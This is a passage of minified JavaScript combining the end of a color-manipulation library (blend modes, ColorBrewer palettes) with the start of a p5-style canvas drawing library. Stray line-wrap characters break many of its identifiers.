"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
